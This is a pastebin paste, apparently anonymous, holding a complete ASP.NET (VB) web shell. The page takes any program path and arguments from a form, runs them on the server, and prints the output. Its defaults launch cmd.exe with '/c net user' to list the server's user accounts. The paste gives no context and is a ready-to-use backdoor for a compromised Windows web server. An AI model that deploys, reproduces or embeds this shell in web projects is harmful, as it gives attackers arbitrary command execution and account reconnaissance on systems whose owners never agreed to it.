Untitled

From Round Frog, 4 Months ago, written in Plain Text, viewed 3 times.
URL https://pastebin.freepbx.org/view/74c6df84 Embed
Download Paste or View Raw
  1. <%@ Page Language="VB" Debug="true" %>
  2. <%@ import Namespace="system.IO" %>
  3. <%@ import Namespace="System.Diagnostics" %>
  4.  
  5. <script runat="server">      
  6.  
  7. Sub RunCmd(Src As Object, E As EventArgs)            
  8.   Dim myProcess As New Process()            
  9.   Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)            
  10.   myProcessStartInfo.UseShellExecute = false            
  11.   myProcessStartInfo.RedirectStandardOutput = true            
  12.   myProcess.StartInfo = myProcessStartInfo            
  13.   myProcessStartInfo.Arguments=xcmd.text            
  14.   myProcess.Start()            
  15.  
  16.   Dim myStreamReader As StreamReader = myProcess.StandardOutput            
  17.   Dim myString As String = myStreamReader.Readtoend()            
  18.   myProcess.Close()            
  19.   mystring=replace(mystring,"<","&lt;")            
  20.   mystring=replace(mystring,">","&gt;")            
  21.   result.text= vbcrlf & "<pre>" & mystring & "</pre>"    
  22. End Sub
  23.  
  24. </script>
  25.  
  26. <html>
  27. <body>    
  28. <form runat="server">        
  29. <p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>        
  30. <asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>        
  31. <p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>        
  32. <asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>        
  33. <p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>        
  34. <p><asp:Label id="result" runat="server"></asp:Label>      
  35. </form>
  36. </body>
  37. </html>

Reply to "Untitled"

Here you can reply to the paste above